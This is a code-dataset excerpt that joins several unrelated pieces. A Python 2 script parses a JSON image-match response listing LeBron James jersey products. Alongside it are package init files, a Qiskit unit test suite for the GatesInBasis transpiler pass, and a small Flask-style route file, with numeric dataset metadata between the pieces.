"bly": 2719.675048828125,
"blx": 886.8568115234375
},
"sidbcc_key": "41ymu8g0WBL",
"coveragedb": 0.08008459,
"asin_prime_eligible": true,
"originalname": "B00NWOCJKU_41ymu8g0WBL",
"mars-image": false,
"relevancescore": 0.6471668300583656,
"coverageqr": 0.03548052,
"title": "NBA Cleveland Cavaliers James # 23 Boys 8-20 Replica Alternate Jersey Large (14/16) Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 5217.43,
"asin_prime_badge_displayed": true,
"inlierScore": 140,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"OuterStuff\"}",
"asin_net_units": 90,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "1548107166",
"properties": {
"searchScore": 0.6193341,
"boundingBox": {
"tly": 55.93451690673828,
"tlx": 1008.4808959960938,
"bry": 2345.1025390625,
"brx": 2520.589111328125,
"try": 65.99022674560547,
"trx": 2502.05810546875,
"region": 1,
"bly": 2354.50146484375,
"blx": 1010.99072265625
},
"sidbcc_key": "51XS-YlcVJL",
"coveragedb": 0.57954633,
"asin_prime_eligible": true,
"originalname": "1548107166_51XS-YlcVJL",
"mars-image": false,
"relevancescore": 0.6193341227209472,
"coverageqr": 0.2650101,
"title": "LeBron James: Biography of a King",
"asin_bought_recently": true,
"glcode": "14",
"asin_net_ops": 0,
"asin_prime_badge_displayed": true,
"inlierScore": 259,
"afex-image": false,
"match-time": 524,
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00U0LIP7O",
"properties": {
"searchScore": 0.5716306,
"boundingBox": {
"tly": 1093.3956298828125,
"tlx": 1327.8741455078125,
"bry": 2402.908935546875,
"brx": 2348.47412109375,
"try": 1035.971435546875,
"trx": 2300.2158203125,
"region": 1,
"bly": 2393.392333984375,
"blx": 1366.94287109375
},
"sidbcc_key": "41eEZUjTYiL",
"coveragedb": 0.05794695,
"asin_prime_eligible": true,
"originalname": "B00U0LIP7O_41eEZUjTYiL",
"mars-image": false,
"relevancescore": 0.5716306183911462,
"coverageqr": 0.009846771,
"title": "NBA Cleveland Cavaliers LeBron James #23 Men's Replica Jersey Large Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 6143.11,
"asin_prime_badge_displayed": true,
"inlierScore": 61,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"adidas\"}",
"asin_net_units": 90,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00U0LAHUM",
"properties": {
"searchScore": 0.5502959,
"boundingBox": {
"tly": 1093.3956298828125,
"tlx": 1327.8741455078125,
"bry": 2402.908935546875,
"brx": 2348.47412109375,
"try": 1035.971435546875,
"trx": 2300.2158203125,
"region": 1,
"bly": 2393.392333984375,
"blx": 1366.94287109375
},
"sidbcc_key": "41eEZUjTYiL",
"coveragedb": 0.05794695,
"asin_prime_eligible": true,
"originalname": "B00U0LAHUM_41eEZUjTYiL",
"mars-image": false,
"relevancescore": 0.5502958822970613,
"coverageqr": 0.009846771,
"title": "NBA Cleveland Cavaliers LeBron James #23 Men's Replica Jersey Medium Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 6370.42,
"asin_prime_badge_displayed": true,
"inlierScore": 61,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"adidas\"}",
"asin_net_units": 91,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B06XRCDQ8M",
"properties": {
"searchScore": 0.5065824,
"boundingBox": {
"tly": 714.706298828125,
"tlx": 944.1701049804688,
"bry": 2371.59765625,
"brx": 2767.782958984375,
"try": 656.1851806640625,
"trx": 2533.13916015625,
"region": 1,
"bly": 2416.70556640625,
"blx": 881.0044555664062
},
"sidbcc_key": "51A0W2dmoCL",
"coveragedb": 0.10111496,
"asin_prime_eligible": true,
"originalname": "B06XRCDQ8M_51A0W2dmoCL",
"mars-image": false,
"relevancescore": 0.5065823909825866,
"coverageqr": 0.038707837,
"title": "Cavaliers Clevelend James #23 -Youth Professional Jersey Top M/10-12 Black",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 44.99,
"asin_prime_badge_displayed": true,
"inlierScore": 164,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"NBA\"}",
"asin_net_units": 1,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00TXYMIV8",
"properties": {
"searchScore": 0.4835875,
"boundingBox": {
"tly": 1093.3956298828125,
"tlx": 1327.8741455078125,
"bry": 2402.908935546875,
"brx": 2348.47412109375,
"try": 1035.971435546875,
"trx": 2300.2158203125,
"region": 1,
"bly": 2393.392333984375,
"blx": 1366.94287109375
},
"sidbcc_key": "41eEZUjTYiL",
"coveragedb": 0.05794695,
"asin_prime_eligible": true,
"originalname": "B00TXYMIV8_41eEZUjTYiL",
"mars-image": false,
"relevancescore": 0.4835875078595242,
"coverageqr": 0.009846771,
"title": "NBA Cleveland Cavaliers LeBron James #23 Men's Replica Jersey X-Large Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 3304.4,
"asin_prime_badge_displayed": true,
"inlierScore": 61,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"adidas\"}",
"asin_net_units": 48,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B072JYPZLM",
"properties": {
"searchScore": 0.47219566,
"boundingBox": {
"tly": 743.232666015625,
"tlx": 975.6465454101562,
"bry": 2443.83935546875,
"brx": 2906.606201171875,
"try": 472.7909851074219,
"trx": 2719.81591796875,
"region": 1,
"bly": 2295.169677734375,
"blx": 983.5390014648438
},
"sidbcc_key": "51Elh1CcbsL",
"coveragedb": 0.08894273,
"asin_prime_eligible": true,
"originalname": "B072JYPZLM_51Elh1CcbsL",
"mars-image": false,
"relevancescore": 0.47219565780554296,
"coverageqr": 0.03651757,
"title": "Youth CLE CAVALIERS JAMES #23 Pro Quality Athletic Jersey Top S Dark Blue",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 0,
"asin_prime_badge_displayed": true,
"inlierScore": 133,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"Sports Locker\"}",
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B06XDK7YNB",
"properties": {
"searchScore": 0.44137046,
"boundingBox": {
"tly": 20.06413459777832,
"tlx": 948.6275024414062,
"bry": 2363.156494140625,
"brx": 2621.739013671875,
"try": 39.861846923828125,
"trx": 2606.185546875,
"region": 1,
"bly": 2370.28759765625,
"blx": 971.6245727539062
},
"sidbcc_key": "51GMhj+RbYL",
"coveragedb": 0.24184547,
"asin_prime_eligible": false,
"originalname": "B06XDK7YNB_51GMhj+RbYL",
"mars-image": false,
"relevancescore": 0.4413704621560041,
"coverageqr": 0.124412656,
"title": "LeBron James #14 - NBA Champions - Hall of Fame - Cleveland Cavaliers - Unlimited Edition Print Sketch Card - BUY IT NOW or MAKE AN OFFER - Limited Edition Original Artwork Sketch Card",
"asin_bought_recently": true,
"glcode": "259",
"asin_net_ops": 0,
"asin_prime_badge_displayed": false,
"inlierScore": 182,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"SportArtCards-NBA\"}",
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B01LXI8RGZ",
"properties": {
"searchScore": 0.4180343,
"boundingBox": {
"tly": 295.0271911621094,
"tlx": 124.87899017333984,
"bry": 2355.185546875,
"brx": 2573.111328125,
"try": 126.8849868774414,
"trx": 2413.127197265625,
"region": 1,
"bly": 2430.51123046875,
"blx": 230.6358642578125
},
"sidbcc_key": "51j12EglCJL",
"coveragedb": 0.05637067,
"asin_prime_eligible": false,
"originalname": "B01LXI8RGZ_51j12EglCJL",
"mars-image": false,
"relevancescore": 0.41803429855723895,
"coverageqr": 0.04000773,
"title": "Mens #23 LEBRON JAMES 2ND Alternate Jersey - Navy Blue",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 0,
"asin_prime_badge_displayed": false,
"inlierScore": 115,
"afex-image": false,
"match-time": 524,
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B01M0FNTNQ",
"properties": {
"searchScore": 0.4180343,
"boundingBox": {
"tly": 295.0271911621094,
"tlx": 124.87899017333984,
"bry": 2355.185546875,
"brx": 2573.111328125,
"try": 126.8849868774414,
"trx": 2413.127197265625,
"region": 1,
"bly": 2430.51123046875,
"blx": 230.6358642578125
},
"sidbcc_key": "51j12EglCJL",
"coveragedb": 0.05637067,
"asin_prime_eligible": false,
"originalname": "B01M0FNTNQ_51j12EglCJL",
"mars-image": false,
"relevancescore": 0.41803429855723895,
"coverageqr": 0.04000773,
"title": "Mens #23 LEBRON JAMES 2ND Alternate Jersey - Navy Blue",
"asin_bought_recently": true,
"glcode": "14",
"asin_net_ops": 0,
"asin_prime_badge_displayed": false,
"inlierScore": 115,
"afex-image": false,
"match-time": 524,
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B01LZSBV74",
"properties": {
"searchScore": 0.41292116,
"boundingBox": {
"tly": 295.0271911621094,
"tlx": 124.87899017333984,
"bry": 2355.185546875,
"brx": 2573.111328125,
"try": 126.8849868774414,
"trx": 2413.127197265625,
"region": 1,
"bly": 2430.51123046875,
"blx": 230.6358642578125
},
"sidbcc_key": "51j12EglCJL",
"coveragedb": 0.05637067,
"asin_prime_eligible": false,
"originalname": "B01LZSBV74_51j12EglCJL",
"mars-image": false,
"relevancescore": 0.4129211575191908,
"coverageqr": 0.04000773,
"title": "Mens #23 LEBRON JAMES 2ND Alternate Jersey - Navy Blue",
"asin_bought_recently": true,
"glcode": "14",
"asin_net_ops": 0,
"asin_prime_badge_displayed": false,
"inlierScore": 115,
"afex-image": false,
"match-time": 524,
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00TUMW700",
"properties": {
"searchScore": 0.4042026,
"boundingBox": {
"tly": 1093.3956298828125,
"tlx": 1327.8741455078125,
"bry": 2402.908935546875,
"brx": 2348.47412109375,
"try": 1035.971435546875,
"trx": 2300.2158203125,
"region": 1,
"bly": 2393.392333984375,
"blx": 1366.94287109375
},
"sidbcc_key": "41eEZUjTYiL",
"coveragedb": 0.05794695,
"asin_prime_eligible": true,
"originalname": "B00TUMW700_41eEZUjTYiL",
"mars-image": false,
"relevancescore": 0.4042026176559252,
"coverageqr": 0.009846771,
"title": "NBA Cleveland Cavaliers LeBron James #23 Men's Replica Jersey Small Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 2170,
"asin_prime_badge_displayed": true,
"inlierScore": 61,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"adidas\"}",
"asin_net_units": 31,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B00TXYM5KM",
"properties": {
"searchScore": 0.40419,
"boundingBox": {
"tly": 1093.3956298828125,
"tlx": 1327.8741455078125,
"bry": 2402.908935546875,
"brx": 2348.47412109375,
"try": 1035.971435546875,
"trx": 2300.2158203125,
"region": 1,
"bly": 2393.392333984375,
"blx": 1366.94287109375
},
"sidbcc_key": "41eEZUjTYiL",
"coveragedb": 0.05794695,
"asin_prime_eligible": true,
"originalname": "B00TXYM5KM_41eEZUjTYiL",
"mars-image": false,
"relevancescore": 0.4041900048185713,
"coverageqr": 0.009846771,
"title": "NBA Cleveland Cavaliers LeBron James #23 Men's Replica Jersey XX-Large Navy",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 1330,
"asin_prime_badge_displayed": true,
"inlierScore": 61,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"adidas\"}",
"asin_net_units": 19,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B01HEPV3NQ",
"properties": {
"searchScore": 0.3897771,
"boundingBox": {
"tly": 740.5752563476562,
"tlx": 842.4403076171875,
"bry": 2185.361328125,
"brx": 2435.143798828125,
"try": 746.8306274414062,
"trx": 2634.8203125,
"region": 1,
"bly": 2274.5859375,
"blx": 1292.692138671875
},
"sidbcc_key": "41sgX2+KAhL",
"coveragedb": 0.044482883,
"asin_prime_eligible": false,
"originalname": "B01HEPV3NQ_41sgX2+KAhL",
"mars-image": false,
"relevancescore": 0.38977708477783163,
"coverageqr": 0.011978821,
"title": "Cleveland Cavaliers LeBron James 2016 Finals Champions Mens'Sweatshirt No Fleece",
"asin_bought_recently": true,
"glcode": "14",
"asin_net_ops": 0,
"asin_prime_badge_displayed": false,
"inlierScore": 74,
"afex-image": false,
"match-time": 524,
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B071S18TN2",
"properties": {
"searchScore": 0.3625766,
"boundingBox": {
"tly": 743.232666015625,
"tlx": 975.6465454101562,
"bry": 2443.83935546875,
"brx": 2906.606201171875,
"try": 472.7909851074219,
"trx": 2719.81591796875,
"region": 1,
"bly": 2295.169677734375,
"blx": 983.5390014648438
},
"sidbcc_key": "51Elh1CcbsL",
"coveragedb": 0.08894273,
"asin_prime_eligible": false,
"originalname": "B071S18TN2_51Elh1CcbsL",
"mars-image": false,
"relevancescore": 0.36257661720377793,
"coverageqr": 0.03651757,
"title": "CLE CAVALIERS Youth JAMES #23 Pro Quality Athletic Jersey Top XL Dark Blue",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 0,
"asin_prime_badge_displayed": false,
"inlierScore": 133,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"Professional Sports\"}",
"asin_net_units": 0,
"closure": "physical-id-closure"
}
},
{
"contentType": "ASIN",
"dataSource": "apoc",
"content": "B01MSWLHQK",
"properties": {
"searchScore": 0.30260196,
"boundingBox": {
"tly": -3494.7958984375,
"tlx": -9255.29296875,
"bry": 1543.06640625,
"brx": 3034.17333984375,
"try": 895.3204345703125,
"trx": 3040.04052734375,
"region": 1,
"bly": 52313.04296875,
"blx": -44134.34765625
},
"sidbcc_key": "51fcxC6vSFL",
"coveragedb": 0.051941574,
"asin_prime_eligible": false,
"originalname": "B01MSWLHQK_51fcxC6vSFL",
"mars-image": false,
"relevancescore": 0.30260197136694933,
"coverageqr": 0.0485392,
"title": "Cleveland Cavaliers Youth Lebron James Replica Alternate Jersey - Navy #23 Youth Large",
"asin_bought_recently": true,
"glcode": "200",
"asin_net_ops": 799.2,
"asin_prime_badge_displayed": false,
"inlierScore": 25,
"afex-image": false,
"match-time": 524,
"tag": "{\"brand\":\"adidas\"}",
"asin_net_units": 16,
"closure": "physical-id-closure"
}
},
{
"contentType": "SearchTerms",
"dataSource": "imagematch_brand",
"content": "Nostalgic Cards & Autographs",
"properties": {
"boundingBox": {
"tly": 5.483041286468506,
"tlx": 297.1485290527344,
"bry": 2369.560302734375,
"brx": 3236.597900390625,
"try": 63.34443664550781,
"trx": 3190.6494140625,
"region": 1,
"bly": 2411.96337890625,
"blx": 271.93231201171875
},
"tags": [
"Nostalgic Cards & Autographs"
]
}
}
],
"resultMetadata": {
"hasMatch": true,
"stop-image-triggered": false
},
"debugInfo": {},
"version": "2.0"
},
"barcode": {}
}
},
"queryId": "cc52be92-9629-4d5f-9538-556e016e37a9"
}'''
occipital_rs = json.loads(occipital_rs)
rs = _get_asin_score_tuple_list(occipital_rs)
print str(rs)
| 51.634478
| 228
| 0.338613
| 4,482
| 79,672
| 5.900491
| 0.106872
| 0.025864
| 0.015125
| 0.04167
| 0.973985
| 0.971565
| 0.971565
| 0.969145
| 0.969145
| 0.969145
| 0
| 0.238335
| 0.565845
| 79,672
| 1,543
| 229
| 51.634478
| 0.526221
| 0.000941
| 0
| 0.868283
| 0
| 0.010485
| 0.99272
| 0.077434
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.003277
| null | null | 0.000655
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
4b36b45c4790e0bd39b6e4be93a5913506426d10
| 289
|
py
|
Python
|
tartiflette/types/helpers/__init__.py
|
dailymotion/test-ttftt
|
aa999093a43e4681bec0767d1a15f36621b91baa
|
[
"MIT"
] | null | null | null |
tartiflette/types/helpers/__init__.py
|
dailymotion/test-ttftt
|
aa999093a43e4681bec0767d1a15f36621b91baa
|
[
"MIT"
] | 1
|
2020-08-11T15:41:41.000Z
|
2020-08-11T15:41:41.000Z
|
tartiflette/types/helpers/__init__.py
|
brasilikum/tartiflette
|
d31e5462b3764feb6a483fae2c9e47a553e03568
|
[
"MIT"
] | null | null | null |
from tartiflette.types.helpers.reduce_type import reduce_type
from tartiflette.types.helpers.get_typename import get_typename
from tartiflette.types.helpers.has_typename import has_typename
from tartiflette.types.helpers.get_directive_implem_list import (
get_directive_implem_list,
)
| 41.285714
| 65
| 0.871972
| 40
| 289
| 6
| 0.325
| 0.25
| 0.333333
| 0.45
| 0.429167
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.076125
| 289
| 6
| 66
| 48.166667
| 0.898876
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
299d1dff7b06361efcbe4d63f6b9b8ce4ee504da
| 8,200
|
py
|
Python
|
test/python/transpiler/test_gates_in_basis_pass.py
|
QAMP-Spring-2022-Transpiler-Hackathon/qiskit-terra
|
aee0dc4d538991560f212411db92cde5f511f65b
|
[
"Apache-2.0"
] | 1,456
|
2017-08-05T16:33:05.000Z
|
2018-06-05T04:15:35.000Z
|
test/python/transpiler/test_gates_in_basis_pass.py
|
QAMP-Spring-2022-Transpiler-Hackathon/qiskit-terra
|
aee0dc4d538991560f212411db92cde5f511f65b
|
[
"Apache-2.0"
] | 365
|
2017-08-04T06:09:16.000Z
|
2018-06-05T08:33:37.000Z
|
test/python/transpiler/test_gates_in_basis_pass.py
|
QAMP-Spring-2022-Transpiler-Hackathon/qiskit-terra
|
aee0dc4d538991560f212411db92cde5f511f65b
|
[
"Apache-2.0"
] | 463
|
2017-08-05T04:10:01.000Z
|
2018-06-05T06:43:21.000Z
|
# This code is part of Qiskit.
#
# (C) Copyright IBM 2021
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.
#
# Any modifications or derivative works of this code must retain this
# copyright notice, and modified files need to carry a notice indicating
# that they have been altered from the originals.
"""Test GatesInBasis pass."""
from qiskit.circuit import QuantumCircuit
from qiskit.circuit.library import HGate, CXGate, UGate
from qiskit.circuit.measure import Measure
from qiskit.circuit.equivalence_library import SessionEquivalenceLibrary
from qiskit.transpiler import PassManager
from qiskit.transpiler.passes import BasisTranslator
from qiskit.transpiler.passes import GatesInBasis
from qiskit.transpiler.target import Target
from qiskit.test import QiskitTestCase
from qiskit.test.mock.fake_backend_v2 import FakeBackend5QV2
class TestGatesInBasisPass(QiskitTestCase):
"""Tests for GatesInBasis pass."""
def test_all_gates_in_basis(self):
"""Test circuit with all gates in basis."""
basis_gates = ["cx", "h"]
property_set = {}
analysis_pass = GatesInBasis(basis_gates)
circuit = QuantumCircuit(2)
circuit.h(0)
circuit.cx(0, 1)
circuit.measure_all()
analysis_pass(circuit, property_set=property_set)
self.assertTrue(property_set["all_gates_in_basis"])
def test_all_gates_not_in_basis(self):
"""Test circuit with not all gates in basis."""
basis_gates = ["cx", "u"]
property_set = {}
analysis_pass = GatesInBasis(basis_gates)
circuit = QuantumCircuit(2)
circuit.h(0)
circuit.cx(0, 1)
circuit.measure_all()
analysis_pass(circuit, property_set=property_set)
self.assertFalse(property_set["all_gates_in_basis"])
def test_all_gates_in_basis_empty_circuit(self):
"""Test circuit with no gates."""
basis_gates = ["cx", "u"]
property_set = {}
analysis_pass = GatesInBasis(basis_gates)
circuit = QuantumCircuit(2)
analysis_pass(circuit, property_set=property_set)
self.assertTrue(property_set["all_gates_in_basis"])
def test_all_gates_in_basis_empty_basis(self):
"""Test circuit with gates and empty basis."""
basis_gates = []
property_set = {}
analysis_pass = GatesInBasis(basis_gates)
circuit = QuantumCircuit(2)
circuit.h(0)
circuit.cx(0, 1)
circuit.measure_all()
analysis_pass(circuit, property_set=property_set)
self.assertFalse(property_set["all_gates_in_basis"])
def test_all_gates_in_basis_after_translation(self):
"""Test circuit with gates in basis after conditional translation."""
basis_gates = ["cx", "u"]
property_set = {}
analysis_pass = GatesInBasis(basis_gates)
circuit = QuantumCircuit(2)
circuit.h(0)
circuit.cx(0, 1)
circuit.measure_all()
analysis_pass(circuit, property_set=property_set)
self.assertFalse(property_set["all_gates_in_basis"])
pm = PassManager()
pm.append(analysis_pass)
pm.append(
BasisTranslator(SessionEquivalenceLibrary, basis_gates),
condition=lambda property_set: not property_set["all_gates_in_basis"],
)
pm.append(analysis_pass)
pm.run(circuit)
self.assertTrue(pm.property_set["all_gates_in_basis"])
def test_all_gates_in_basis_with_target(self):
"""Test circuit with all gates in basis with target."""
target = FakeBackend5QV2().target
basis_gates = ["cx", "u"] # not used
property_set = {}
analysis_pass = GatesInBasis(basis_gates, target=target)
circuit = QuantumCircuit(2)
circuit.u(0, 0, 0, 0)
circuit.cx(0, 1)
circuit.measure_all()
analysis_pass(circuit, property_set=property_set)
self.assertTrue(property_set["all_gates_in_basis"])
def test_all_gates_not_in_basis_with_target(self):
"""Test circuit with not all gates in basis with target."""
target = FakeBackend5QV2().target
basis_gates = ["cx", "h"]
property_set = {}
analysis_pass = GatesInBasis(basis_gates, target=target)
circuit = QuantumCircuit(2)
circuit.h(0)
circuit.cx(0, 1)
circuit.measure_all()
analysis_pass(circuit, property_set=property_set)
self.assertFalse(property_set["all_gates_in_basis"])
def test_all_gates_in_basis_not_on_all_qubits_with_target(self):
"""Test circuit with gate in global basis but not local basis."""
target = FakeBackend5QV2().target
basis_gates = ["ecr", "cx", "h"]
property_set = {}
analysis_pass = GatesInBasis(basis_gates, target=target)
circuit = QuantumCircuit(2)
circuit.h(0)
circuit.ecr(0, 1)
circuit.measure_all()
analysis_pass(circuit, property_set=property_set)
self.assertFalse(property_set["all_gates_in_basis"])
def test_all_gates_in_basis_empty_circuit_with_target(self):
"""Test circuit with no gates with target."""
target = FakeBackend5QV2().target
basis_gates = ["cx", "u"]
property_set = {}
analysis_pass = GatesInBasis(basis_gates, target=target)
circuit = QuantumCircuit(2)
analysis_pass(circuit, property_set=property_set)
self.assertTrue(property_set["all_gates_in_basis"])
def test_all_gates_in_empty_target(self):
"""Test circuit with gates and empty basis with target."""
target = Target()
basis_gates = []
property_set = {}
analysis_pass = GatesInBasis(basis_gates, target=target)
circuit = QuantumCircuit(2)
circuit.h(0)
circuit.cx(0, 1)
circuit.measure_all()
analysis_pass(circuit, property_set=property_set)
self.assertFalse(property_set["all_gates_in_basis"])
def test_all_gates_in_ideal_sim_target(self):
"""Test with target that has ideal gates."""
target = Target(num_qubits=2)
target.add_instruction(HGate())
target.add_instruction(CXGate())
target.add_instruction(Measure())
property_set = {}
analysis_pass = GatesInBasis(target=target)
circuit = QuantumCircuit(2)
circuit.h(0)
circuit.cx(0, 1)
circuit.measure_all()
analysis_pass(circuit, property_set=property_set)
self.assertTrue(property_set["all_gates_in_basis"])
def test_all_gates_not_in_ideal_sim_target(self):
"""Test with target that has ideal gates."""
target = Target()
target.add_instruction(HGate())
target.add_instruction(UGate(0, 0, 0))
target.add_instruction(Measure())
property_set = {}
analysis_pass = GatesInBasis(target=target)
circuit = QuantumCircuit(2)
circuit.h(0)
circuit.cx(0, 1)
circuit.measure_all()
analysis_pass(circuit, property_set=property_set)
self.assertFalse(property_set["all_gates_in_basis"])
def test_all_gates_in_basis_after_translation_with_target(self):
"""Test circuit with gates in basis after conditional translation."""
target = FakeBackend5QV2().target
basis_gates = ["cx", "u"]
property_set = {}
analysis_pass = GatesInBasis(basis_gates, target)
circuit = QuantumCircuit(2)
circuit.h(0)
circuit.cx(0, 1)
circuit.measure_all()
analysis_pass(circuit, property_set=property_set)
self.assertFalse(property_set["all_gates_in_basis"])
pm = PassManager()
pm.append(analysis_pass)
pm.append(
BasisTranslator(SessionEquivalenceLibrary, basis_gates, target=target),
condition=lambda property_set: not property_set["all_gates_in_basis"],
)
pm.append(analysis_pass)
pm.run(circuit)
self.assertTrue(pm.property_set["all_gates_in_basis"])
| 39.23445
| 83
| 0.670366
| 1,006
| 8,200
| 5.197813
| 0.124254
| 0.122012
| 0.059285
| 0.08319
| 0.819086
| 0.798814
| 0.774144
| 0.756932
| 0.72882
| 0.711608
| 0
| 0.011757
| 0.232439
| 8,200
| 208
| 84
| 39.423077
| 0.819034
| 0.137561
| 0
| 0.787879
| 0
| 0
| 0.048103
| 0
| 0
| 0
| 0
| 0
| 0.090909
| 1
| 0.078788
| false
| 0.218182
| 0.060606
| 0
| 0.145455
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
29f0e94e584bc234e191f2a31828f2915cc1bfbd
| 45
|
py
|
Python
|
solutions/12/src/cormorant/tests/__init__.py
|
larsbratholm/champs_kaggle
|
fda4f213d02fd5e0138a86c52b4140c9f94fec6e
|
[
"MIT"
] | 9
|
2020-08-14T23:11:16.000Z
|
2021-08-09T16:23:43.000Z
|
solutions/12/src/cormorant/tests/__init__.py
|
larsbratholm/champs_kaggle
|
fda4f213d02fd5e0138a86c52b4140c9f94fec6e
|
[
"MIT"
] | 1
|
2020-11-19T09:29:14.000Z
|
2020-11-19T09:29:14.000Z
|
solutions/12/src/cormorant/tests/__init__.py
|
larsbratholm/champs_kaggle
|
fda4f213d02fd5e0138a86c52b4140c9f94fec6e
|
[
"MIT"
] | 2
|
2020-09-09T02:53:57.000Z
|
2020-12-06T08:20:52.000Z
|
from .cormorant_tests import cormorant_tests
| 22.5
| 44
| 0.888889
| 6
| 45
| 6.333333
| 0.666667
| 0.736842
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.088889
| 45
| 1
| 45
| 45
| 0.926829
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
4b0df71c11fc6912e0042c630da1d6455068a038
| 71
|
py
|
Python
|
BlueScheduler/routes/__init__.py
|
mcfee-618/BlueScheduler-Todo
|
44860eb900ce4a19b173a28319d7e47b6c0cba2e
|
[
"MIT"
] | 2
|
2021-05-08T08:41:11.000Z
|
2021-05-08T09:56:59.000Z
|
BlueScheduler/routes/__init__.py
|
mcfee-618/BlueScheduler
|
248ae62c2ced2d45717dffdf1ad6090316432b28
|
[
"MIT"
] | null | null | null |
BlueScheduler/routes/__init__.py
|
mcfee-618/BlueScheduler
|
248ae62c2ced2d45717dffdf1ad6090316432b28
|
[
"MIT"
] | null | null | null |
from .admin import *
def index():
return "Hello BlueScheuler"
| 14.2
| 31
| 0.647887
| 8
| 71
| 5.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.253521
| 71
| 5
| 31
| 14.2
| 0.867925
| 0
| 0
| 0
| 0
| 0
| 0.264706
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
d9b7efde535c97b2e51a2b368459ee3570f63b5d
| 2,247
|
py
|
Python
|
src/proposals/migrations/0041_auto_20200223_1659.py
|
kaka-lin/pycon.tw
|
67809a5e43b03273ac8d8f5a1b6b3d3f73474be7
|
[
"MIT"
] | 47
|
2015-12-19T10:23:11.000Z
|
2018-06-13T08:07:33.000Z
|
src/proposals/migrations/0041_auto_20200223_1659.py
|
kaka-lin/pycon.tw
|
67809a5e43b03273ac8d8f5a1b6b3d3f73474be7
|
[
"MIT"
